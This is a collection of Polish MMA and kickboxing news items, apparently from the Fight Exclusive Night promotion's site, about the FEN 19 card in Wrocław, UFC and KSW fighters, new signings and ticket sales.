Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Kto jest lepszy? To pytanie będą zadawali sobie wszyscy do czasu trzeciej walki Conora McGregora i Nate'a Diaza. Prawdopodobnie obaj spotkają się 30 grudnia w Las Vegas na gali UFC 219.
Wróble ćwierkają, że starcie Irlandczyka i Amerykanina stanowiłoby niezwykle smakowity kąsek. Dwaj wojownicy muszą w końcu rozstrzygnąć spór, który z nich jest lepszy.
Trylogia
5 marca 2016. W zasadzie przypadek sprawił, że McGregor spotkał się z Diazem w MGM Grand Garden Arenie. Dla Irlandczyka gala UFC 196 miała być wyjątkowa. McGregor chciał zaatakować drugi pas, miał w swoim posiadaniu tytuł mistrza wagi piórkowej. Jednak czempion kategorii lekkiej Rafael dos Anjos na ostatniej prostej doznał kontuzji stopy. Trwały gorączkowe poszukiwania zastępcy i wybór padł na Diaza, który otwarcie przyznawał, że chce starcia z Irlandczykiem. Amerykanin nie zdążył zrzucić wagi, więc odbyła się ona w limicie 77kg. McGregor trafił rywala, nie brakowało prostych i obrotówek. Mistrz wagi piórkowej UFC poczuł krew, a ta pojawiła się na twarzy Diaza. W końcu Amerykanin ruszył do natarcia, gdy McGregor nieco osłabł i mocnym lewym prostym zamroczył przeciwnika. W końcu walka znalazła się w parterze, gdzie Amerykanin udusił McGregora.
20 sierpnia 2016. Rewanż w T-Mobile Arenie pełen był zwrotów akcji. Początek dla Conora McGregora, który dwukrotnie powalił rywala na ziemię. Zakrwawiony Diaz w drugiej rundzie ruszył do przodu. Amerykanin również w kolejnej odsłonie nacierał, uderzał ciosami prostymi i sierpowymi. McGregor wydawał się bezradny, ale przetrwał. W kolejnych odsłonach zacięta walka, ale obu wojownikom wraz z upływającym czasem brakowało sił. Po pięciu rundach większościową decyzją wygrał Irlandczyk.
30 grudnia 2017? Nie ma się, co oszukiwać, że finał jest jak najbardziej pożądany. 30 grudnia w Las Vegas w końcu miłośnicy MMA mogliby przekonać się, kto jest lepszym fighterem. Tego starcia oczekują kibice, a między samymi zawodnikami zawsze wrzało. Zatem należy spodziewać się show, zaciętej walki i krwi, której w obu poprzednich walkach na twarzy Diaza nie brakowało.
Powrót po przygodzie bokserskiej
Ostatni pojedynek na zasadach MMA McGregor stoczył w listopadzie ubiegłego roku. Przed czasem pokonał Eddiego Alvareza. Później zdecydował się przebranżowić i spróbował swoich sił w boksie. Irlandczyk spotkał się w hitowej walce z Floydem Mayweatherem Jr., ale mimo ambitnej postawy przegrał.
Nate Diaz krytycznie ocenił bokserski występ McGregora. W ostatnim czasie Amerykanin otwarcie mówił, że czuje się odstawiony przez UFC na boczny tor. Na początku roku otrzymał propozycję kolejnej walki, ale nie był nią usatysfakcjonowany.
Teraz pozostaje tylko czekać aż obie strony powiedzą „tak” i starcie zostanie oficjalnie potwierdzone.
KM
Zapraszamy na transmisję telewizyjną na żywo z European Judo Open – Belgrade 2017.
[kod]
Main stream
Tatami 1
Tatami 2
Tatami 3
Zapraszamy na transmisję telewizyjną na żywo z European Judo Open – Belgrade 2017.
[kod]
Main stream
Tatami 1
Tatami 2
Tatami 3
Mizuto Hirota słaniał się na nogach, omal nie przewrócił się podczas ważenia przed galą UFC Fight Night 117. W związku z tym 36-latek nie zaprezentuje się w Saitamie.
Gala w Japonii już za kilka godzin, jednak na ostatniej prostej wypadł z niej Mizuto Hirota. Ci, którzy z bliska obserwowali ważenie przed galą UFC Fight Night 117 z pewnością na chwilę wstrzymali oddech.
Skrajnie wyczerpany
36-latek miał spotkać się w Saitamie z Charlesem Rosą. Gdy Japończyk wychodził na ceremonię ważenia widać było, że coś jest nie tak. Mizuto Hirota dosłownie słaniał się na nogach. Chwiejnym krokiem doszedł do wagi, ale omal z niej nie spadł. Gdyby nie pomoc mężczyzn stojących obok, Japończyk mógłby się nieco poturbować.
Nie jest tajemnicą, że zawodnicy w cyklu przygotowawczym przed walką robią wszystko, aby zmieścić się w limicie wagowym. Stosują najróżniejsze metody. Począwszy od głodzenia poprzez wygrzewanie się w wysokich temperaturach. Mizuto Hirota chciał zrobić wszystko, aby zmieścić się w limicie kategorii piórkowej i wystąpić na gali w ojczystym kraju. Jednak stan fizyczny zawodnika pozostawiał wiele do życzenia. Podczas ważenia Japończyk był osłabiony i opuszczał pomieszczenie przy wsparciu osób trzecich.
W takiej sytuacji władze UFC nie mogły sobie pozwolić na ryzyko. Decyzja była jednoznaczna – Mizuto Hirota nie wystąpi na gali w Saitamie. Warto dodać, że mimo podjętego wysiłku i wycieńczenia – 36-latek nie zmieścił się w limicie wagowym. Hirota przekroczył granicę o blisko dwa kilogramy.
Hirota debiutował w UFC ponad cztery lata temu. Jednak nie będzie tego występu wspominał miło, gdyż przegrał z Ranim Yahyą. Dopiero w czwartym starciu w amerykańskiej organizacji zanotował zwycięstwo. Dotychczas Hirota stoczył w UFC pięć walk, z których trzech zakończyły się jego porażkami. Zanotował również remis i zwycięstwo.
Rywalki Jędrzejczyk spotkają się w Japonii
Podczas gali w Saitamie dojdzie do ciekawego pojedynku w kategorii słomkowej. Krok w stronę kolejnej walki o pas będą chciały zrobić Claudia Gadelha i Jessica Andrade. Obie rywalizowały już z Joanną Jędrzejczyk, jednak musiały obejść się smakiem.
W Japonii debiut w UFC zaliczy legendarny kickboxer Gokhan Saki. Blisko 34-letni zawodnik może pochwalić się tytułem mistrzowskim Glory w wadze półciężkiej, który wywalczył w 2014 roku. Zdobywał również tytuły czempiona Europy i świata muay thai. Saki zmierzy się z Henrique da Silvą, który przegrał trzy ostatnie walki w UFC.
W walce wieczoru zaprezentują się Ovince St. Preux i Yushin Okami.
Fot. ufc.com
KM
Były mistrz wagi średniej KSW Michał Materla wraca do rywalizacji. 33-letni szczecinian wystąpi na gali w Dublinie, która odbędzie się 22 października.
Dyspozycja Materli pozostaje zagadką, bo przez osiem miesięcy zawodnik MMA przebywał w areszcie tymczasowym w związku z podejrzeniem o udział w zorganizowanej grupie przestępczej.
Rok przerwy
Ostatni pojedynek Michał Materla stoczył blisko rok temu. Podczas gali KSW 36 w Zielonej Górze efektownie znokautował Rousimara Palharesa i odniósł 24 zwycięstwo w karierze. Chwila euforii i pokaz siły oraz jasny sygnał, że zawodnika Berserkers Team stać na rywalizację na najwyższym poziomie.
Jednak w grudniu ubiegłego roku kariera Materli została przerwana. Fighter został zatrzymany przez funkcjonariuszy Centralnego Biura Śledczego i trafił do więzienia. Materla miał działać w zorganizowanej grupie przestępczej, której obszarem zainteresowań była multiprzestępczość, a przede wszystkim przemyt kokainy z Aruny czy handel tytoniem. Były mistrz KSW nie przyznawał się do winy. Miał opuścić areszt w marcu, ale poznańska prokuratura złożyła wniosek o jego przedłużenie. Dopiero po ośmiu miesiącach, w lipcu, Materla wyszedł na wolność.
Teraz Materla będzie jednym z głównych aktorów wielkiego sportowego widowiska. Jeszcze kilka tygodni temu mówiło się, że istnieje szansa występu 33-latka na gali UFC w Gdańsku. Rozmowy trwały, Polak miał być rywalem Thiago Santosa, ale do porozumienia nie doszło. Materla wystąpi na gali organizacji, w której świętował największe sukcesy. 22 października zaprezentuje się na KSW 40 w Dublinie. – Cieszę się, że po latach doczekałem czasów, w których nasi czołowi i kluczowi zawodnicy odrzucają ofertę UFC i wybierają KSW. I nie chodzi tu tylko o lojalność, czy jakieś przywiązanie emocjonalne, ale również o to, że opłaca się to im biznesowo. Nie mniej jednak emocjonalnie mówię ::: DZIĘKUJĘ! Michał Materla oficjalnie na KSW w Dublinie. Jak myślicie, kto zmierzy się w klatce z legendą polskiego mma? – napisał na swoim Facebook Martin Lewandowski, współwłaściciel KSW.
Karta pełna dziur
Gala w Dublinie coraz bliżej a KSW nadal buduje napięcie. W karcie walk nadal jest wiele pustych miejsc. Wiadomo, że w Dublinie o trzecie zwycięstwo z rzędu powalczy Mariusz Pudzianowski. Rywalem byłego mistrza strongmanów będzie James McSweeney, który ma dwie walki w KSW. 36-latek pokonał Marcina Różalskiego, ale przegrał z Karolem Bedorfem.
Pasa w wadze muszej kobiet będzie broniła Ariane Lipski, która czeka na nazwisko rywalki. Do trzeciej obrony tytułu w wadze lekkiej przystąpi Mateusz Gamrot. Polak ponownie zmierzy się z Normanem Parke'iem, którego pokonał w Warszawie. Na przeciwników czekają Anzor Azhiev, Chris Fields, Maciej Jewtuszko. Na początek emocji w Dublinie zmierzą się Konrad Iwanowski i Paul Lawrence.
KM
Spotkanie współwłaściciela KSW Martina Lewandowskiego z Arturem Szpilką wywołało falę komentarzy. Teraz na pierwszym planie znalazł się Tomasz Adamek, który otrzymał propozycję od organizacji.
Jeżeli o czymś się nie mówi, tego nie ma. Dlatego KSW robi wszystko, aby o organizacji cały czas było głośno. Mariusz Pudzianowski, Robert Burneika, Damian Janikowski, Popek, Tomasz Oświeciński – to nazwiska, które miały przyciągnąć kibiców. Teraz w orbicie zainteresowań KSW znaleźli się znani bokserzy.
Szpilka prostuje
Po porażce z Adamem Kownackim, Artur Szpilka wycofał się, musiał mieć czas dla siebie. „Szpila” przegrał w czwartej rundzie i jego kariera znalazła się w trudnym położeniu. Pojawiła się propozycja ze strony Marcina Najmana, aby obaj spotkali się w ringu. Były pretendent do tytułu mistrza świata wagi ciężkiej WBC nie przejawiał zainteresowania propozycją.
W sierpniu Artur Szpilka spotkał się ze współwłaścicielem KSW Martinem Lewandowskim. Panowie wspólnie zjedli obiad, a w sieci pojawiło się zdjęcie z rozmowy. Od razu ruszyła fala spekulacji na temat występu Szpilki w KSW. Mateusz Borek, dziennikarz sportowy i promotor boksu, napisał w mediach społecznościowych, że pięściarz z Wieliczki podjął rozmowy z federacją. Szpilka nie potwierdził tych doniesień. Odpowiedział na Twitterze Borkowi. – Pier… Matt strasznie. Jakie ustalenia? Jedyne ustalenia, jakie padły, to takie, że jeżeli będę walczył w MMA to tylko w KSW. Weźcie się do roboty. Wkurza mnie, że każdy wie lepiej ode mnie, co będę robił – napisał Szpilka.
Co z Adamkiem?
Propozycję od KSW otrzymał również Tomasz Adamek. Jednak obecnie były mistrz świata WBC w kategorii półciężkiej zamierza skupić się na kolejnych występach w ringu. W ostatnim starciu, wrócił po ponad roku, „Góral” pokonał Solomona Haumono i zanotował 51 zwycięstwo w karierze.
Tomasz Adamek nadal czuje głód boksu. Jeśli miałby wystąpić w KSW, to raczej nie w pojedynku na zasadach MMA. Możliwa byłaby walka na wzór tej, którą stoczyli Floyd Mayweather Jr. i Conor McGregor.
KSW spełnia potrzeby
Martin Lewandowski i Maciej Kawulski stworzyli markę KSW od podstaw. W ich działaniu widać konsekwencję w realizowaniu opracowanej koncepcji. Każde kolejne wydarzenie przygotowują z rozmachem, ale nie mogą pozwolić sobie na bierność. Bo show itd….
Poziom sportowy to jedno, ale pod względem komercyjnym – istotna jest rozrywka. Znane nazwiska budzą ciekawość i przyciągają masy do śledzenia widowiska. Ostatnie zestawienia walk m.in. Pudzianowski – Popek czy Burneika – Popek pokazały, że władze KSW „mają nosa”. Przede wszystkim chodzi o realizowanie planu na widowisko idealne. A takie potrzebuje magnesu, najlepiej kilku.
KM
Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.
Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.
– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.
Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.
Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.
Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.
Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.
Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.
Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.
W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem(24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.
W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.
Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.
Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.
Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.
Potwierdzamy! Poznaliśmy nowych zawodników, którzy zasilą szeregi federacji Fight Exclusive Night! Trzy nowe twarze będzie można oglądać podczas kolejnych edycji!
Zacznijmy od kobiety, bo FEN nigdy nie zapomina o płci pięknej. Mowa o Barbarze Nalepce, która będzie walczyła w MMA i rywalizowała w kategorii do 56 kg. Pseudonim „Shogun” mówi sam za siebie – Basia to zwariowana dziewczyna, która w oktagonie ma zamiar pokazać swoje prawdziwe oblicze. Prywatnie bardzo ciepła i wrażliwa dziewczyna, którą interesuje cały świat. Jako nowa zawodniczka walcząca dla Fight Exclusive Night ma ożywić swoją kategorię wagową wśród kobiet.
Karol Kruzel to nowy zawodnik walczący w formule K-1 w kategorii do 70 kg. Urodził się w Lęborku, ale duży fragment swojej kariery był związany z gdańskim klubem „Duet”. W swoim dorobku ma brązowy medal Pucharu Europy z kickboxingu low kick oraz jest dwukrotnym wicemistrzem Polski w kickboxingu light contact. W przeszłości był już wiązany z federacją FEN i miał wystąpić podczas 13. edycji gali „Summer Edition”, która odbyła się w Gdyni. Zestawiono go z Jakubem Rajewskim, ale ostatecznie Kruzel doznał kontuzji i musiał wycofać się z walki. Teraz wszystko wskazuje na to, że będzie mógł zadebiutować w barwach federacji podczas jednej z najbliższych gal.
Krzysztof Kottas to zawodnik trenujący w klubie UKS Gladius Trzebnica. Będzie rywalizował w formule K-1 w kategorii do 70 kg. Dzięki dobrej postawie na „Summer Camp” zapracował sobie na zawodowy kontrakt w Fight Exclusive Night, a Paweł Jóźwiak, czyli prezes federacji, wiąże z nim spore nadzieje. – Moim zdaniem to chłopak, który może sporo namieszać w swojej kategorii wagowej. Mamy mocnych zawodników w K-1, ale cały czas myślimy o kolejnych ciekawych postaciach, które pozwolą nam się rozwinąć. Kottas ma papiery na mistrza. Naprawdę, widziałem jego podejście do sportu – ma zadatki na wysokiej klasy wojownika – przyznał.
Fight Exclusive Night obserwuje również Hubera Szymajdę, który póki co kontraktu od federacji nie otrzymał, ale który być może wkrótce dołączyć do organizacji.
Fight Exclusive Night ma przygotowaną jeszcze jedną niespodziankę. Informacja na ten temat zostanie podana jeszcze w tym tygodniu. Bądźcie czujni.
Miło nam wszystkich poinformować, że nową zawodniczką federacji Fight Exclusive Night została Magdalena Rak. 25-latka trenująca na co dzień w Octagon Team Kraków & Akademia Fenix będzie walczyła w MMA w kategorii do 56 kilogramów.
Magda urodziła się w Proszowicach, choć od dłuższego czasu mieszka w stolicy Małopolski. Ma 171 centymetrów wzrostu, a najchętniej stosowaną techniką w czasie pojedynku jest low kick. Łącznie, wliczając walki amatorskie i zawodowe, stoczyła 52 pojedynki, z czego 45 wygrała. Pięciokrotnie zwyciężyła przez nokaut.
W swoim dorobku ma wiele sukcesów. Może pochwalić się między innymi złotym medalem podczas amatorskich mistrzostw świata IFMA w Muay Thai w roku 2009 w Bangkoku oraz złotym krążkiem w K-1 podczas WAKO Cup w 2015 roku w Pradze. Wcześniej, w 2012 roku, została brązową medalistką mistrzostw świata amatorów w Muay Thai w Saint Petersburgu oraz mistrzynią Polski również w tajskiej odmianie boksu.
Za swoją najlepszą walkę w karierze uznaje tą z 2012 roku, kiedy to pokonała Caley Reece w Bangkoku. Magda inspiruje się karierą Joanny Jędrzejczyk, a sama mistrzyni świata UFC zapytana przez Fight Exclusive Night o opinię na temat swojej młodszej koleżanki po fachu bez chwili zawahania przyznała, że widzi w niej ogromny potencjał. Rak na temat swojej przyszłości w FEN uważa, że to dla niej spora szansa na rozwinięcie zawodowej kariery, a marzenia sięgają pasa mistrzowskiego w kategorii słomkowej.
Co na temat Magdaleny Rak uważa Paweł Jóźwiak, prezes federacji? – Moim zdaniem to jest przyszłość polskiego MMA. Rozmawiałem z Asią Jędrzejczyk, ona jest zachwycona Magdą. Ma dopiero 25 lat, a już ponad 50 stoczonych walk i sporo sukcesów na koncie. Jest już doświadczona, a cały czas głodna kolejnych triumfów. To młodsza Jędrzejczyk – naprawdę, wszyscy kibice mieszanych sztuk walki w naszym kraju mają obowiązek zapamiętania tego nazwiska. O tej dziewczynie będzie głośno za kilka lat na całym świecie – komplementował Magdę Jóźwiak.
W ciągu najbliższych tygodni dowiemy się, kiedy Rak zadebiutuje w oktagonie FEN. Nie wykluczone, że trenującą w Krakowie zawodniczkę zobaczymy już podczas edycji numer 19 we Wrocławiu, 14 października.
Bilety na FEN 19 "Bitwa o Wrocław" dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl
Fight Exclusive Night odsłoniło przed państwem trzecią z dziesięciu kart przed 19. edycję gali, która odbędzie się we Wrocławiu. O podbój stolicy Dolnego Śląska powalczą Bartosz Leśko (5-0, 2 KO, 3 SUB) z Pawłem Brandysem (6-4, 3 KO, 2 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii do 84 kilogramów.
Dla obu panów będzie to drugie starcie pod szyldem FEN. Lepsze wspomnienia z federacją ma Leśko, który podczas „Baltic Storm”, czyli 17. edycji, która odbyła się w Gdyni w maju tego roku, pokonał przed czasem Aleksandera Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Tamto zwycięstwo było dla niego o tyle cenne, gdyż zostało odniesione przed własną publicznością. Jeden z bohaterów FEN 19 trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs”. Wszystkie pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.
Brandys jest bardziej doświadczony i ma na swoim koncie 10 stoczonych walk, z czego aż sześć z nich zwycieżył. Na uwagę zasługuje fakt, że aż pięć wygrał przed czasem – trzy przez nokaut, dwie przez poddanie. Jeszcze nie pod szyldem FEN mierzył się ze starym-dobrym znajomym wszystkich kibiców federacji, czyli Marcinem Naruszczką. W pierwszej walce był remis, w rewanżu to Naruszczka okazał się minimalnie lepszy i wygrał na punkty.
Dla Brandysa będzie to drugi występ podczas gali FEN. Do walki tej podejdzie w dobrym humorze, gdyż w maju tego roku pokonał Denisa Vygovskiego przez nokaut już w pierwszej rundzie. Zapowiada się emocjonujące starcie, które prawdopodobnie nie potrwa pełnego dystansu. To oznacza jedno – będzie się działo.
– Obiecywałem wielkie grzmoty i tak będzie we Wrocławiu. Leśko i Brandys z 11 wygranych wspólnie pojedynków aż 10 zakończyli przed czasem. Czy coś więcej muszę dodawać, żeby przekonywać o wyjątkowości tego starcia? Chyba nie – powiedział pewny siebie prezes FEN, Paweł Jóźwiak.
Znamy zatem już trzy pojedynki podczas Fight Exclusive Night 19 „Bitwa o Wrocław”. Jeszcze dużo niewiadomych przed nami, bądźcie czujni!
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl
Walka „Araba” z „Rubym” będzie jednym z głównych wydarzeń gali Fight Exclusive Night, która odbędzie się 14 października we Wrocławiu. Fani ostrzą sobie apetyt na ten pojedynek, gdyż po raz pierwszy w historii federacji odbędzie się „Freak Fight”. Starcie odbędzie się w formule MMA, w kategorii do 77 kg. Już dziś kup bilet na tą walkę na www.fen-mma.com/bilet. Do godziny „zero”
Z tej okazji postanowiliśmy znaleźć 10 powodów, dla których tę walkę trzeba obejrzeć na żywo z wysokości trybun. Oto one:
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Poznaliśmy kolejnych bohaterów gali Fight Exclusive Night 19, która 14 października odbędzie się we Wrocławiu. W oktagonie Hali Orbita zobaczymy pasjonujące starcie dwóch wojowników rywalizujących w formule MMA w kategorii do 70 kilogramów. Naprzeciw siebie w klatce staną Patryk Nowak (4-1, 1 KO, 2 SUB) i Mateusz Głąb (4-0, 1 KO, 2 SUB).
Nowak to utalentowany grappler, który wywodzi się z zapasów. Jako junior i kadet odnosił wiele sukcesów na krajowym podwórku, często sięgając po najwyższe laury. Znaczną część swojej kariery spędził w Szwajcarii, gdzie trenował pod okiem Robsona Dantasa w brazylijskim klubie Kimura Nova Uniao. Zawodowo zadebiutował w 2016 roku, kiedy to na punkty wygrał z Anthony’m Mullerem. Potem zwyciężał jeszcze trzy razy z rzędu, każdy z pojedynków kończąc przed czasem. Choć w swojej pierwszej walce dla Fight Exclusive Night podczas FEN17 Baltic Storm przegrał ze słynnym Piotrem Hallmannem, to tym razem z pewnością zrobi wszystko, by zejść z maty z pucharem.
Niespełna 26-letni Głąb sportowo „dojrzewał” pod szyldem Fight Excluisive Night, gdyż to właśnie w barwach FEN stoczył 3 z 4 zawodowych walk. Debiutował podczas FEN10 w Lubinie, poddając w trzeciej rundzie Pawła Kordylewicza. Potem, po jednogłośnej decyzji sędziów, Głąb z klatki wychodził zwycięsko pokonując jeszcze Michała Miłka i poddając na FEN 15 Leonida Smirnova. Warto nadmienić, że zawodnik ten wywodzi się z taekwondo, w którym Puchar Świata i Puchar Europy oraz stoczył łącznie ponad 150 walk.
– Nowak musi wygrać, bo ostatnio stracił zero w rekordzie, co wyraźnie go boli. Jednocześnie obaj zawodnicy trzy z czterech swoich zwycięskich walk zakończyli przed czasem. To daje jasny sygnał: będzie się działo – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Już w najbliższy weekend, 9 i 10 września odbędą się targi FIWE – największe w Polsce targi fitness. Podczas imprezy swoje stoisko będzie miała również federacja Fight Exclusive Night.
To znakomita okazja, by spotkać się z najlepszymi zawodnikami, występującymi w federacji. Podczas targów swoją obecnością zaszczycą państwa między innymi Róźa Gumienna, Paweł Biszczak, Kamil Łebkowski, Arkadiusz Wrzosek oraz Bartłomiej „Ruby” Brzeziński.
Występ gwiazd FEN podczas targów FIWE będzie podzielony na dwie części. Pierwsza, która odbędzie się w sobotę, obejmie trening medialny, kiedy to będzie można z bliska przyjrzeć się umiejętnościom zawodników. Start o godzinie 14. Druga, niedzielna, to konferencja prasowa, w której kibice oraz dziennikarze będą mogli „przepytać’ swoich ulubieńców oraz poznać ich najskrytsze sekrety. Początek o godzinie 12.
Podczas imprezy, która odbędzie się w Warszawskim Centrum EXPO XXI, można spodziewać się konkursów z nagrodami, a zawodnicy będą „do dyspozycji” swoich fanów. Nie zabraknie autografów oraz okolicznościowych zdjęć. To znakomita okazja do tego, my na kilka tygodni przez galą Fight Exclusive Night 19 „Bitwa o Wrocław” poznać swoich idoli, a kto wie, być może zaszczepić w sobie miłość do MMA i K-1.
– Cieszę się, że wystąpimy podczas targów FIWE, bo to impreza, które generuje duże zainteresowanie sportowych pasjonatów. W ofercie mamy przygotowane naprawdę spore atrakcje dla wszystkich fanów MMA i K-1. Podczas imprezy będzie wiele naszych gwiazd, będzie można z nimi porozmawiać oraz zobaczyć w akcji podczas treningu medialnego. Skracamy dystans, wychodzimy naprzeciw swoich fanów. Chcemy, aby dzięki takim imprezom jak ta, identyfikowali się oni z naszymi wojownikami – powiedział Paweł Jóźwiak, prezes FEN.
Gdzie? EXPO XXI Warszawa ul. Prądzyńskiego 12/14, 01-222 Warszawa
Co? Targi FIWE – Największe w Polsce targi fitness
Kto? Fight Exclusive Night – stoisko największej w Europie organizacji MMA i K-1
Atrakcje? Spotkanie z zawodnikami, trening medialny, konferencja prasowa, konkursy, wspólne zdjęcia, autografy.
Zawodnicy: Róża Gumienna, Arkadiusz Wrzosek, Alan Kwieciński, Marcin Szreder, Marian Ziółkowski, Kamil Paczulski, Bartłomiej "Ruby" Brzeziński, Andrzej Grzebyk, Kamil Łebkowski, Paweł Biszczak, Wojciech Wierzbicki, Igor Kołacin.
Bilety na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.
Znamy kolejne zestawienie na gali FEN 19 „Bitwa o Wrocław”. 14 października w Hali Orbita o podbój stolicy Dolnego Śląska powalczą Tymoteusz Łopaczyk (2-0, 2 SUB) i Adrian Błeszyński (4-1, 3 KO, 1 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii wagowej do 77 kilogramów.
Łopaczyk to nowa postać na polskim rynku mieszanych sztuk walki, jednak trenujący na co dzień w Bebson Gold Team wojownik już dziś może pochwalić się wieloma sukcesami na swoim koncie. To świeżo upieczony mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów, 21-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt. Ostatnio Łopaczyk otrzymał nominację na brązowy pas w Brazylijskim jiu-jitsu. Walka we Wrocławiu będzie jego debiutem w federacji FEN i największym jak do tej pory wyzwaniem w sportowej karierze.
